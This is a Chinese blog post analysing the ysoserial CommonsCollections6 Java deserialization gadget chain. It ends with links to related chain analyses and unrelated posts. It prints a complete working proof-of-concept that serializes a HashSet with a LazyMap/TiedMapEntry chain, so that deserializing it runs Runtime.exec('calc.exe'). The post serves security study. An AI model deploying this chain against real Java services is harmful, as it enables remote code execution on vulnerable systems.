CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法。

TiedMapEntry#hashCode

在CC5中,通过的是TiedMapEntry的toString调用到的LazyMap的get方法,而CC6则是通过TiedMapEntry的hashCode方法

此处hashCode会调用getValue方法,getValue就调用到了LazyMap的get方法

接下来我们要找的就是哪里调用了TiedMapEntry#hashCode

HashMap#put

HashMap每次进行put的时候,会计算 keyhash

进入到hash方法,看到调用了hashcode

hashSet#readObject

hashSet作为反序列化入口,在重写的readObject中调用了map.put

此处的map是在readObject中第299-301行进行的赋值

这个代码其实判断this是不是LinkedHashSet,不是的话就返回HashMap类型的对象

综合以上,map值为HashMap即可调用put

构造poc

前面的写法都一样,lazyMap传入了TiedMapEntry中

        Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
ChainedTransformer chain = new ChainedTransformer(transformers); HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
TiedMapEntry mapEntry = new TiedMapEntry(lazyMap, "xxx");

通过hashSet.add把mapEntry加入进hashSet

HashSet hashSet = new HashSet(1);
hashSet.add(mapEntry);

到这里就已经构造完了,但是会发现poc在执行反序列化的时候无法弹出计算器,原因是在LazyMap的get方法中

这句话的意思是判断有没有key,有key的话则不会执行if里面的方法。

查找key传入路径发现,这里的key是在TiedMapEntry#getValue中传入的

而这个key则是在构造方法中进行的赋值

也就是之前操作时候,传入的"xxx"

由于在hashSet.add的时候,会调用一遍TiedMapEntry#getValue把key传入了进去

所以我们只需要在add之后,把lazyMap里面的key给remove就可以了

整个POC就构造出来了

public class payload01 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
ChainedTransformer chain = new ChainedTransformer(transformers); HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
TiedMapEntry mapEntry = new TiedMapEntry(lazyMap, "xxx"); HashSet hashSet = new HashSet(1);
hashSet.add(mapEntry); lazyMap.remove("xxx"); ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashSet);
oos.close(); // System.out.println(barr);
// System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}

和CC5一样,如果要在CommonsCollections4.0版本中使用的话,需要把poc中的lazymap传值方式改变下就行了!

测试环境在JDK1.7和1.8,CommonsCollections3.1-3.21,4.0均测试成功

ysoserial CommonsColletions6分析的更多相关文章

  1. ysoserial CommonsColletions4分析

    ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...

  2. ysoserial CommonsColletions2分析

    ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...

  3. ysoserial CommonsColletions1分析

    JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...

  4. ysoserial CommonsCollections2 分析

    在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...

  5. ysoserial CommonsColletions7分析

    CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...

  6. ysoserial CommonsColletions3分析(2)

    上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...

  7. ysoserial CommonsColletions3分析(1)

    CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...

  8. ysoserial CommonsColletions5分析

    我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...

  9. ysoserial commonscollections6 分析

    利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...

随机推荐

  1. kali linux重启网卡失败:Job for networking.service failed because the control process exited with error code. See "systemctl status networking.service" and "journalctl -xe" for details. 问题排查

    linux菜鸡的时候,总是为了配置网络而烦恼,重启网卡的原因有很多,我这次是因为配置了固定IP[使用第三方工具连接]所以需要重启网卡,出现 Job for networking.service fai ...

  2. 小白学习Vue第五天(v-model实用的地方)

    用法一radio单选项 <!-- 添加name男女选项互斥 --> <label for="male"> <input type="radi ...

  3. python自动化之(自动生成测试报告)

    前言:  用python执行测试脚本, 测试报告是记录我们测试过程的问题, 方便我们对整个测试过程的把控. 这里引用的是别人写好的模板, 我们拿过来用就OK, 能力强者可自行编写模板 测试报告图模板: ...

  4. 并发编程——线程中sleep(),yield(),join(),wait(),notify(),notifyAll()区别

    前言 今天简单的讲一讲线程中sleep(),join(),yield(),wait(),notify(),notifyAll()这些方法的使用以及区别. 不过在讲这些方法之前,需要简单的介绍一下锁池和 ...

  5. HDFS总结

    hadoop分布式文件存储系统,用来解决海量数据的存储问题 HDFS的组成------核心配置文件:hdfs-site.xml.core-site.xml NameNode:负责整个HDFS集群的管理 ...

  6. 搭建riscv环境

    1.第一步 clone 需要的源文件(sudo apt install git   如果你没有git)  以下都是给予ubuntu18.04 $ git clone --recursive https ...

  7. npm 基本命令的使用

    1.npm -v 查看npm版本 2.使用npm命令安装模块 npm install Module Name 例如安装jquery模块 npm install jquery 3.卸载模块 npm un ...

  8. Linux系统管理命令-systemctl 和 sshd 服务

    一系统服务管理命令systemctl 开启一个服务 : systemctl start sshd 关闭一个服务: systemctl stop sshd 查看一个服务的状态: systemctl st ...

  9. 8、二进制安装K8s之部署CIN网络

    二进制安装K8s之部署CIN网络 部署CIN网络可以使用flannel或者calico,这里介绍使用calico ecd 方式部署. 1.下载calico二进制安装包 创建所需目录 mkdir -p ...

  10. Vue实现在前端导出Excel 方法2

    也可以去看下我的方法1:https://www.cnblogs.com/yingyigongzi/p/10915382.html ----------------------------------- ...